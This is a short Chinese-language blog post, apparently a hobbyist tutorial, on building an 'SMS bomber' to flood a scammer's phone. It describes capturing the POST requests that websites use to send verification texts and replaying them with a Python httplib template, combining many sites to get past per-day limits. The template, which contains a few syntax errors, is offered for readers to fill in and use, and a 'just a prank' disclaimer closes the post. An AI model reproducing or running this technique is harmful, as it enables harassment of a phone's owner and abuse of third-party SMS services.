为何写这个?

帮朋友在圣诞节给骗子一个礼物!(因为朋友被骗…)

和一般的短信炸弹有何不同?

一般我们会挑无限次数的短信接收,可我没那么好的运气。然后自己把所有的合在了一起。测试中发现一般网站设置有一天最多五次、三次或者两次接收短信,还有的设置了N小时后恢复状态再允许。

下面简单说说步骤:

1.寻找能发手机短信验证的页面,确认手机能收到。(有些限制了地区接收)

2.选用任意一款抓包软件进行抓包(wireshark、fiddler、httpwatcher)

3.遇到POST的情况比较多,下面以POST请求为例

直接上代码吧,“#”行是需要大家自己修改的地方

#!/usr/bin/python

import httplib
params = " "    #body的内容
headers = {
     "User-Agent": Mozilla/5.0 "(compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUS)",
     "Accept": "text/html, */*; q=0.01",
     "Accept-Language": "en-us",
     "Content-Type": "application/x-www-form-urlencoded",
     "Referer": " ",          #提交前的页面
     "Host": " "}          #
con = httplib.HTTPConnection("www.xxx.com")    #
con.request("POST", "/URI",params,headers)    #URI为提交后的页面,去掉前面的主机地址

response = con.getresponse()
if response.status == 200:        注:这里的返回代码并不能说明能成功接收短信
    print "Success","\n"
else:
    print "Failed","\n"
con.close()

此篇文章只是娱乐用恶作剧。请不要无限次尝试!

演示视频:

源链接

Hacking more

...